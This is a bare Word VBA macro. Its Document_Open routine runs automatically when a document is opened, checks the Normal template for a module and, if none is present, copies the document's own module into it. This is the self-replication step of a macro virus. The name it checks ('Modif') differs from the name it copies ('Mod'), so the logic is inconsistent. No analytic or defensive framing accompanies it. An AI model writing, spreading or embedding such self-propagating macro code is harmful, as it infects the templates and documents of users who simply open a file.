Private Sub Document_Open()
Y = 0
For Each X In NormalTemplate.VBProject.VBComponents
If X.Name = "Modif" Then Y = 1
Next
If Y = 0 Then
Application.OrganizerCopy _
Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, _
Name:="Mod", Object:=wdOrganizerObjectProjectItems
End If
End Sub